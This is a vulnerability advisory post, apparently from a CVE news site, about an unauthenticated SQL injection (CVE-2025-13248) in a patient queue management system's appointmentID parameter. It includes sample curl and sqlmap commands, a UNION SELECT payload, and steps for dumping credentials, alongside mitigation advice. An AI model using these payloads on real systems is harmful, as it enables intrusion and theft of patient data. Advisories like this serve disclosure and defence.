SourceCodester Patients Waiting Area Queue Management System, SQL Injection, CVE-2025-13248 (MEDIUM)

Listen to this Post

The CVE-2025-13248 vulnerability exists within the SourceCodester Patients Waiting Area Queue Management System, version 1.0.
The specific flaw is located in an unknown function of the `/php/api_patient_schedule.php` file.
The vulnerability is triggered through the `appointmentID` argument passed to this file.
Attackers can manipulate this parameter to inject malicious SQL commands.
This is a classic case of insufficient input validation and sanitization.

The SQL injection allows unauthorized database queries.

It can be executed remotely over a network without authentication.
The attack vector is network-based with no access prerequisites.
No user interaction is required to perform the attack.
The complexity of launching the attack is assessed as low.
The exploit targets the backend database of the queue management system.

Successful exploitation can lead to data confidentiality loss.

It can also compromise data integrity within the database.
Availability of the system or data may be partially affected.
The vulnerability has a public exploit, increasing its immediate risk.

The CVSS 4.0 vector is AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L.

This scores the vulnerability as a 6.9 (MEDIUM) severity.
It primarily affects the application layer of the software.
The vulnerability was publicly disclosed and added to the NVD.
Ongoing exploitation attempts are likely due to public exploit availability.
Platform: SourceCodester Queue System
Version: 1.0
Vulnerability: SQL Injection
Severity: MEDIUM
date: 11/16/2025

Prediction: No Patch Yet

What Undercode Say:

Analytics

Basic curl request to vulnerable endpoint

curl -s “http:///php/api_patient_schedule.php?appointmentID=1″

Testing for SQL injection with simple payload

curl -s “http:///php/api_patient_schedule.php?appointmentID=1′”

Automated testing with sqlmap (example)

sqlmap -u “http:///php/api_patient_schedule.php?appointmentID=1″ –batch

Checking for database version

curl -s “http:///php/api_patient_schedule.php?appointmentID=1 UNION SELECT @@version–”

How Exploit:

Craft HTTP GET request to `/php/api_patient_schedule.php`.

Manipulate the `appointmentID` parameter with SQL payloads.

Use payloads like `1′ OR ‘1’=’1` to bypass logic.

Employ UNION SELECT statements to extract data.

Execute database commands to dump usernames, passwords.

Potentially write files or execute system commands if privileges allow.

Protection from this CVE

Implement strict input validation.

Use parameterized queries (prepared statements).

Apply the principle of least privilege to database accounts.

Deploy a web application firewall (WAF).

Sanitize all user-supplied input.

Keep software updated if patch released.

Impact:

Unauthorized data access.

Patient information disclosure.

Database manipulation or deletion.

Possible system compromise.

Loss of data integrity.

Service disruption.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top